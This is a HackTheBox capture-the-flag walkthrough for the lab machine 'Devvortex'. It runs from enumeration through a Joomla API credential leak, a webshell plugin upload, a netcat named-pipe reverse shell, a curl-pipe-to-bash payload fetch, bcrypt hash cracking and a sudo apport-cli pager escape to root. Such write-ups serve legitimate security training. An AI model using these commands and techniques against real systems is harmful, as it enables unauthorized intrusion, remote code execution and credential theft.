HackTheBox: Devvortex

01/13/2024

11/25/2023 This is a new live easy box that Im playing on day of release.

Enumeration

Add devvortex and devvortex.htb to /etc/hosts and run nmap full script scan:


22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DevVortex
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Okay. SSH on 22 and HTTP on 80. It appears to be an Ubuntu system.

I'm going to fire up Burp (with intercept disabled) and check out the site manually while running the following scanners: - Nikto - Gobuster dir search - GObuster VHOST search

I run these three scans on every target just because its easy and can reveal extremely useful information. Ill mention the results of these scans as they finish.

Nikto: false positive for /#wp-config.php# Gobuster dir scan: /images, /css, /js Gobuster vhost scan:

Investigating the website

It appears to be the homepage for a web development service.

Wappalyzer does not detect the language used.

There is a form titled "Request a call back" that allows you to input your name, phone number, email address, and message ==screenshot==

Doesnt appear to do anything though.

There are links at the top of the page, but each just leads to a different section of the same page.

Knew it: Gobuster VHOST discovery just got a hit, dev.devvortex.htb

Examining the dev subdomain

THis is why I always run the vhost scan with gobuster; never know what you could be missing if you dont. I otherwise would have wasted a lot of time trying to inject into that form earlier.

Ill add dev.devvortex.htb to /etc/hosts and check it out.

Now Ill run the nikto and gobuster dir scans again.

Nikto: Discovered /robots.txt with numerous entries, as well as /administrator, /home, and other directories.

When nikto finishes Ill start gobuster. In the meantime Ill check each one of the entries in robots.txt:


# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

==Also note that the site apparently uses Joomla, whatever that is...== Joomla is a CMS apparently.

Here is the full nikto scan, which revealed even more useful info than just the disallowed directories:


┌──(kali㉿kali)-[~/…/hacking/hackthebox/boxes/devvortex]
└─$ nikto -h http://dev.devvortex.htb
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          10.10.11.242
+ Target Hostname:    dev.devvortex.htb
+ Target Port:        80
+ Start Time:         2023-11-25 14:25:10 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 (Ubuntu)
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Entry '/libraries/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/administrator/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/cache/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/language/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/cli/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/modules/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/components/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/includes/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/tmp/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /api/: Retrieved x-powered-by header: JoomlaAPI/1.0.
+ /robots.txt: Entry '/plugins/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/layouts/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: contains 15 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ nginx/1.18.0 appears to be outdated (current is at least 1.20.1).
+ /administrator/: This might be interesting.
+ /home/: This might be interesting.
+ /includes/: This might be interesting.
+ /tmp/: This might be interesting.
+ /LICENSE.txt: License file found may identify site software.
+ /htaccess.txt: Default Joomla! htaccess.txt file found. This should be removed or renamed.
+ /administrator/index.php: Admin login page/section found.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8061 requests: 0 error(s) and 23 item(s) reported on remote host
+ End Time:           2023-11-25 14:29:03 (GMT-5) (233 seconds)
---------------------------------------------------------------------------

It found htaccess.txt, which it identifies as a default Joomla file. It also found LICENSE.txt which should give us version number.

htaccess.txt does not appear to contain any useful info. LICENSE.txt does not appear to contain any useful info.

Most of the directory names just return a blank page, the rest return a custom 404 error.

Joomla vulnerabilities

Google shows that Joomla versions 4.0.0 through 4.2.7 do improper access checking, allowing unauthorized access to protected endpoints. Let me check a PoC

Ill try the PoC found here: (https://github.com/adhikara13/CVE-2023-23752)

Well, the PoC itself didnt work, but just manually navigating to the endpoint worked fine:


{"links":{"self":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"Development","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"id":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"lewis","id":224}},{"type":"application","id":"224","attributes":{"password":"P4ntherg0t1n5r3c0n##","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"sd4fg_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}

In it, we see what appear to be credentials:


{"type":"application","id":"224","attributes":{"user":"lewis","id":224}},{"type":"application","id":"224","attributes":{"password":"P4ntherg0t1n5r3c0n##","id":224}},

That would be: lewis:P4ntherg0t1n5r3c0n##

Let's try to SSH in and see if it works for the system... no luck. Let's use it to sign into the admin page then.

Foothold into Admin page

We get in with the credentials lewis:P4ntherg0t1n5r3c0n##.

Let's see if we can get a revshell working.

This end of the system is PHP.

What we want is a file upload that we can use to upload a shell.

We got to Content->Articles->"Add your first article", and write in <?php  system('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 4444 >/tmp/f'); ?> And name the file test.php.

No luck, I cant seem to access the file to view it. It also may not even store it with the php extension.

Let me use a premade Joomla web shell from here: (https://github.com/p0dalirius/Joomla-webshell-plugin)

We upload the entire zip file and it installs automatically. It says it installed successfully, so we test it using:


$ curl -X POST 'http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"} 

Hell yeah, we have RCE.

Let's get a real reverse shell.

To do it, Ill have it curl a real revshell script and pipe it into bash, since the redirect characters in a revshell seem to cause problems in POST request:


curl -X POST 'http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=curl http://10.10.14.18:1234/shell.sh | bash"

On my listener,


$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.11.242] 42040
/bin/sh: 0: can't access tty; job control turned off

$ whoami
www-data

Note that I have a python server listening on port 1234 with a file named "shell.sh" that contains the line


rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 4444 >/tmp/f

==screenshot==

Beautiful. Now lets upgrade the shell and get to work.


$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@devvortex:/$ ^Z
[1]+  Stopped                 nc -nlvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg

nc -nlvp 4444
             reset

www-data@devvortex:/$ 

Hell yeah.

Internal Enumeration

There's one user in the system, "logan". Let's try using the password we already know for his account- no luck.

We will probably want to dump the database at this point.

Ill search for db creds using grep.

We get into the database using known creds lewis:P4ntherg0t1n5r3c0n##

We dump the joomla database's sd4fg_users table to get 2 user hashes: one for "logan paul" and one for "lewis". We already have lewis's, but we'll copy logan's and try to crack it in John:


$ john hash --wordlist=/usr/share/SecLists/Passwords/rockyou.txt 
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho    (?)
1g 0:00:00:07 DONE (2023-11-25 15:33) 0.1347g/s 194.0p/s 194.0c/s 194.0C/s lacoste..michel
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Hell yeah, cracked it. So we have the creds logan:tequieromucho

Now we can pivot.

Pivoting

Let's try to SSH in as logan with logan:tequieromucho:


logan@devvortex:~$ 

We're in.

Let's grab the user flag and then start the priv esc.

Priv esc checklist: - Can we run anything as sudo? - Any good SUID bins?

Logan can run one command as sudo:


User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

Let me see if this is in GTFObins... Nope.

I have no idea what apport-cli even does. No manpage and nothing in tldr. Let me see if it has a help option:


logan@devvortex:~$ apport-cli -h
Usage: apport-cli [options] [symptom|pid|package|program path|.apport/.crash file]

Options:
  -h, --help            show this help message and exit
  -f, --file-bug        Start in bug filing mode. Requires --package and an
                        optional --pid, or just a --pid. If neither is given,
                        display a list of known symptoms. (Implied if a single
                        argument is given.)
  -w, --window          Click a window as a target for filing a problem
                        report.
  -u UPDATE_REPORT, --update-bug=UPDATE_REPORT
                        Start in bug updating mode. Can take an optional
                        --package.
  -s SYMPTOM, --symptom=SYMPTOM
                        File a bug report about a symptom. (Implied if symptom
                        name is given as only argument.)
  -p PACKAGE, --package=PACKAGE
                        Specify package name in --file-bug mode. This is
                        optional if a --pid is specified. (Implied if package
                        name is given as only argument.)
  -P PID, --pid=PID     Specify a running program in --file-bug mode. If this
                        is specified, the bug report will contain more
                        information.  (Implied if pid is given as only
                        argument.)
  --hanging             The provided pid is a hanging application.
  -c PATH, --crash-file=PATH
                        Report the crash from given .apport or .crash file
                        instead of the pending ones in /var/crash. (Implied if
                        file is given as only argument.)
  --save=PATH           In bug filing mode, save the collected information
                        into a file instead of reporting it. This file can
                        then be reported later on from a different machine.
  --tag=TAG             Add an extra tag to the report. Can be specified
                        multiple times.
  -v, --version         Print the Apport version number.

It appears that there is a known privilege escalation vulnerability associated with this tool: (https://github.com/advisories/GHSA-qgrc-7333-5cgx)

Oh! It's a vulnerability based on using less as the pager, which allows you to launch a shell which carries privileges. So I probably have to scale my text all the way up to cause it to go enter pager mode.

I scaled up my font size enormously by using CTRL-+, then ran sudo apport-cli -f to enter bug report mode. Then I just clicked through options until a "view" option came up, and I selected that, which launched the pager. Then, inside the pager, I type !sh and get a root shell:


What would you like to do? Your options are:
  S: Send report (1.5 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C): V
# whoami
root